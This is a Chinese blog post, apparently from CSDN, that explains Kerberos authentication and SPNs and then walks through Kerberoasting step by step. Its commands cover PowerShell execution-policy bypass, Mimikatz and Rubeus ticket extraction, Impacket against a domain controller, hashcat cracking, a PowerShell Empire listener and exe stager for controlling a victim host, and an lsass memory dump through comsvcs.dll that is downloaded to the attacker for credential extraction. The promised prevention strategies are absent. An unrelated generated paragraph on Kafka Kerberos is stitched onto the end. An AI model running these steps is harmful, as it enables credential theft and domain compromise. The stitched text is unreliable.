深入理解 Kerberoasting 攻击

本文详细解释了Kerberos的身份验证流程,涉及KDC、TGT、TGS、SPN等关键概念,以及Kerberoasting攻击原理和防范策略,包括消息协商过程和暴力破解方法。
摘要由CSDN通过智能技术生成

0x01 详解 Kerberos 身份验证流程

Kerberos 及其主要组件

客户端从 Kerberos 密钥分发中心 (KDC) 获取票证,并在建立连接时将这些票证提交给应用程序服务器。它默认使用 UDP 端口 88,并依赖于对称密钥加密过程。Kerberos 使用票据来验证用户身份,完全避免了通过网络发送密码。

Kerberos 组件

规则

参与各方

  • Client:用户用来访问某些服务
  • KDC:是域服务的密钥分发中心。他包含一个用户和服务 HASH 数据库、一个身份验证服务器和票据授予服务
  • 应用服务器:用于特定服务的服务器

加密秘钥

  • krbtgt 密钥:使用 krbtgt 账户的 NTLM HASH
  • User key:使用用户 NTLM HASH
  • Service key:使用 NTLM HASH的服务,可以使用用户或计算机账户
  • Session key:在用户和 KDC 之间传递
  • Service session key:在用户和服务之间使用

票据

  • TGT:向 KDC 提出申请 TGS 票据,他是用 KDC 密钥加密而成
  • TGS:用户可以用来对服务进行身份验证是用 service key 加密而成

PAC

  • PAC(特权属性证书):几乎每个票据都包含 PAC,PAC 包含用户的权限,使用KDC 密钥进行签名

消息协商过程

  • KRB_AS_REQ:用户向 KDC 发送 TGT 请求来获取 TGT
  • KRB_AS_REP:用户收到了来自 KDC 的 TGT
  • KRB_TGS_REQ:用户使用 TGT 向 KDC 发送 TGS 请求
  • KRB_TGS_REP:用户收到了来自 KDC 的 TGS
  • KRB_AP_REQ:使用 TGS 的用户发送请求对服务进行身份验证
  • KRB_AP_REP:(可选)服务用来针对用户标识自身
  • KRB_ERROR:用于交流错误条件的消息

Kerberos 消息认证流程

在 Active Directory 域中,每个域控制器都运行 KDC(Kerberos 分发中心)服务,该服务处理所有对 Kerberos 票证的请求。对于 Kerberos 票证,AD 使用 AD 域中的 KRBTGT 帐户。

下面使用这张图来显示认证流程

如上图,使用了三种颜色来标识该请求是用什么密钥来加密的

蓝色:用户 NTLM HASH

黄色:Krbtgt NTLM HASH

红色:服务账户的 NTLM HASH

步骤1:KRB_AS_REQ

通过向 KDC 发送请求消息,客户端初始化通信

KRB_AS_REQ 主要包括以下内容:

  • 待认证客户端的用户名与 Krbtgt
  • 帐户关联的服务SPN(服务主体名称)
  • 加密的时间戳(使用用户 HASH 加密)

整个消息使用用户 NTLM 哈希进行加密,以验证用户身份并防止重放攻击

步骤2:KRB_AS_REP

KDC 解密验证用户身份的消息,验证成功后,KDC 将为客户端生成TGT ,并且使用 krbtgt hash进行加密,并且使用用户HASH加密一些消息

KRB_AS_REP 主要包括以下内容:

  • 用户名
  • 一些加密数据(使用用户 HASH 加密)
      • 会话密钥
      • TGT 的到期日期
  • TGT(使用 krbtgt hash 加密)
      • 用户名
      • 会话密钥
      • TGT 的到期时间
      • 具有用户权限的 PAC,由 KDC 签名

步骤3:KRB_TGS_REQ

经过步骤二发送的 KRB_TGT将存储在客户端的内存中,由于客户已经拥有KRB_TGT,因此将TGT用于在TGS请求中识别自己的身份,客户端将包含加密数据的TGT副本发送给KDC

KRB_TGS_REQ主要包含以下内容:

  • 使用用户密钥加密的数据
      • 用户名
      • 时间戳
  • TGT
  • 请求的服务的 SPN

步骤4:KRB_TGS_REP

KDC 接收 KRB_TGS_REQ 消息并使用 Krbtgt 哈希解密该消息以验证 TGT,然后 KDC 返回 TGS 作为 KRB_TGS_REP,该 TGS 使用请求的服务哈希和一些加密消息进行使用用户哈希

KRB_TGS_REP主要包含以下内容:

  • 用户名
  • 使用用户密钥加密的数据
      • 服务会话密钥
  • TGS 的有效期
  • TGS(使用服务HASH加密)包括:
      • 服务会话密钥
      • 用户名
      • TGS 的有效期
      • 具有用户权限的 PAC ,由 KDC 签名

步骤5:KRB_AP_REQ

用户将TGS的副本发送到提供服务的服务器

KRB_AP_REQ主要包含以下内容:

  • TGS
  • 使用用户密钥加密的数据
      • 用户名
      • 时间戳

步骤6:KRB_verify_PAC_REQ

应用程序尝试使用 NTLM HASH来解密消息,并验证来自 KDCPAC来识别用户权限

步骤7:PAC_Verified_REP

KDC验证 PAC

需要注意的是步骤6与步骤7都是可选步骤

步骤8:Allow Service Access

允许用户在特定的时间内访问该服务

0x02 服务主体名称 SPN

服务主体名称 (SPN) 是服务实例的唯一标识符。 Active Directory 域服务Windows 提供对服务主体名称 (SPN) 的支持,SPNKerberos 机制的关键组件,客户端通过该机制对服务进行身份验证。

如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。在Kerberos使用SPN对服务进行身份认证之前,必须在服务实例用于登录的账户对象上注册SPN,并且只能在一个账户上注册给定的SPN。如果服务实例的登录账户发生改变,必须在新账户下重新注册SPN。当客户端想要连接到某个服务时,他将查找该服务的实例,并为该实例编写SPN,然后连接到该服务并显示服务的SPN以进行身份认证。

SPN 四元素

:serviceclass/host:port/servicename
例如
MSSQLSVC/win7/hack.org:1433

0x03 Kerberoasting 攻击

什么是 Kerberoasting

Kerberoasting 是一种允许攻击者窃取使用 RC4 加密的 KRB_TGS 票证的技术,以暴力破解应用程序服务 HASH 来获取其密码

Kerberos 使用所请求服务的 NTLM 哈希来加密给定服务主体名称 (SPN) 的 KRB_TGS 票证。当域用户向域控制器 KDC 发送针对已注册 SPN 的任何服务的 TGS 票证请求时,KDC 会生成 KRB_TGS

攻击者可以离线使用例如hashcat来暴力破解服务帐户的密码,因为该票证已使用服务帐户的 NTLM 哈希进行了加密。

Kerberoasting攻击主要步骤如下

1.发现SPN服务

2.使用工具向 SPN 请求 TGS 票据

3.转储 .kirbi 或 ccache 或服务 HASH 的 TGS 票据

4.将 .kirbi 或 ccache 文件转换为可破解格式

5.使用hashcat等工具配合字典进行暴力破解

并且随着技术的不断更新,kerberoasting 攻击的工具与手段也越来越多,因此我们把多个步骤的攻击叫做旧 kerberoasting 攻击,单个步骤的攻击叫做新 kerberoasting 攻击

旧 kerberoasting 攻击

利用 Powershell 脚本进行 kerberoasting

发现SPN

使用以下 RiskySPN 脚本发现 SPN 服务

https://github.com/cyberark/RiskySPN/tree/master
powershell -ep bypass
#发现域内spn
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
#发现域内spn并保存到csv
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts

当然我们也可以使用GetUserSPns.ps1来发现 SPN 服务

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

也可以使用setspn -T ignite -Q */*来发现

提取并转储 TGS_ticket 并获取哈希值

我们使用 TGSipher.ps1 来提取 KRB_TGS,下载地址如下

https://github.com/cyberark/RiskySPN/blob/master/Get-TGSCipher.ps1

获取 TGS 并将结果转换为 hashcat 格式

Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "MSSQLSvc/win7.rootkit.org:1433" -Format hashcat

成功获取 mssql 服务 hash字符串

使用 hashcat 进行破解
hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force

成功获取了服务账户的密码

利用 Mimikatz 进行攻击

使用 Mimikatz 请求 SPN 服务并且导出 TGS 票据
mimikatz.exe "kerberos::ask /target:MSSQLSvc/win7.rootkit.org:1433" "kerberos::list /export" exit

对票据进行暴力破解

方法1:使用 tgsrepcrack.py 进行破解

python tgsrepcrack.py pass.txt tgs.kirbi

方法2:使用 kirbi2john.py 将票据文件转换为hash值进行暴力破解


python kirbi2john.py tgs.kirbi

使用hashcat进行破解

hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force

新 kerberoasting 攻击

使用 Rubeus.exe

发现 SPN、提取 TGS、转储HASH存储到hash.txt

Rubeus.exe kerberoast /outfile:hash.txt

使用hashcat进行破解

ashcat -m 13100 --force -a 0 '/home/kali/Desktop/hash.txt' '/home/kali/Desktop/pass.txt'

hashcat有一个特点,当破解成功后第二次破解不会再重新破解,使用show命令来显示

Invoke-kerberoast.ps1 脚本

Invoke-kerberoast.ps1empire中集成的脚本,可以自动发现 SPN,提取 TGS 并且转储服务 HASH

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
Import-Module .\Invoke-kerberoast.ps1 
Invoke-kerberoast

之后使用 hashcat 暴力破解即可

在远程系统上利用 Kerberoasting 攻击

使用 Powershell Empire

使用 Kali 进行安装

apt install powershell-empire

启动empire服务器

sudo powershell-empire server

启动empire客户端

sudo powershell-empire client

使用uselistener http创建http监听器,设置端口set Port 1111,修改监听器名称为testset Name test使用options查看信息

最后使用execute命令创建监听器, 使用listeners命令查看所有监听器

使用usestager windows_csharp_exe创建一个exe文件,set Listener test设置监听器为testexecute生成即可

当目标运行exe上线后,使用agents命令可以查看所有会话

使用以下命令可以修改会话rename 39ASLBHN stager1,使用以下命令进入该会话interact stager1便可对主机进行操作

extract_tickets 模块

执行下面的模块,他将提取.kirbi格式的文件作为TGS票据

usemodule powershell_credentials_mimikatz_extract_tickets
execute

使用download命令下载即可,使用tgscrack对票据进行转换并且破解,下载地址如下

https://github.com/leechristensen/tgscrack

运行以下命令进行转换

python2 extractServiceTicketParts.py '/home/kali/Desktop/tgscrack-master/2-40a10000-micle@MSSQLSvc~Srv-Web-Kit.rootkit.org~1433-ROOTKIT.ORG.kirbi' >tgshash

使用tgscrack.go进行破解,go run tgscrack.go -hashfile tgshash -wordlist pass.txt

使用过程中可能会出现缺少依赖的问题,使用以下命令初始化新的模块然后安装即可

go mod init tgscrack 
go get golang.org/x/crypto/md4
invoke_kerberoast 模块

该模块可以进行 SPN 发现、转储 TGS、获取 HASH 一键化

usemodule powershell_credentials_invoke_kerberoast
execute

获取到之后,使用hahscat或者john破解即可

使用 Metasploit

load powershell 
powershell_import Invoke-Kerberoast.ps1
powershell_execute Invoke-Kerberoast

使用 Impacket

使用GetUserSPNs.py脚本可以自动化发现SPN、提取TGS、转换为HASH

python GetUserSPNs.py -request -dc-ip 192.168.3.144 rootkit.org/micle

之后使用同样的方法进行暴力破解即可。

Pypykatz

首先我们将lsass进程内存 dump 下来

load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 576 C:\lsass.DMP full

将 dmp 文件下载到 kali 本机download c:/lsass.dmp /home/kali/Desktop

此 dmp 中存储以下内容

用户的 NTLM HASH
KRB5_TGT 票据
KRB5_TGS 票据
服务 NTLM HASH 

使用 pip 命令安装 pypykatz

pip3 install pypykatz

/root目录下建立一个kerb文件夹

cd /root
mkdir kerb

使用pypykatz对 dmp 进行提取

pypykatz lsa -k /root/kerb minidump '/home/kali/Desktop/lsass.dmp' 

kerb文件夹下也出现许多票据

使用kirbi2john.py或者tgscrack将票据转换成hash进行破解

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Kafka Kerberos认证是Kafka消息队列系统中一种安全认证机制,用于确保Kafka集群中的通信和数据传输的安全性。 Kafka是一个分布式的高吞吐量消息队列系统,可以用于实现实时数据流处理和消息传递。为了保护Kafka集群免受未授权的访问和攻击,Kafka提供了多种安全认证机制,其中之一就是Kerberos认证。 Kerberos是一种强大的网络认证协议,用于客户端和服务端之间的身份验证和数据传输的加密。Kerberos特别适合于分布式系统,因为它可以使用户在多个系统中共享认证凭证。 Kafka Kerberos认证的工作原理如下: 1. 客户端将请求发送到Kafka集群中的任意一个Broker。 2. Broker发送Kerberos令牌请求给Kerberos认证中心(KDC)。 3. KDC对Broker和客户端进行身份验证,并颁发令牌。 4. Broker将令牌发送回客户端。 5. 客户端使用令牌进行身份验证,并将请求再次发送到Broker,以获取或发送消息。 通过使用Kerberos认证,Kafka可以确保只有经过身份验证的客户端能够连接和与Kafka集群进行通信。这种认证机制可以有效防止未授权的访问和数据泄露风险。同时,Kerberos认证还增加了数据传输的安全性,通过对传输的数据进行加密,防止数据被窃听或篡改。 总而言之,Kafka Kerberos认证是一种在Kafka消息队列系统中确保安全通信和数据传输的有效机制,它通过Kerberos认证和加密技术,实现了身份验证和数据传输的安全性。这可以帮助用户建立安全可靠的消息传递系统,并保护集群免受未授权访问和数据泄露的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值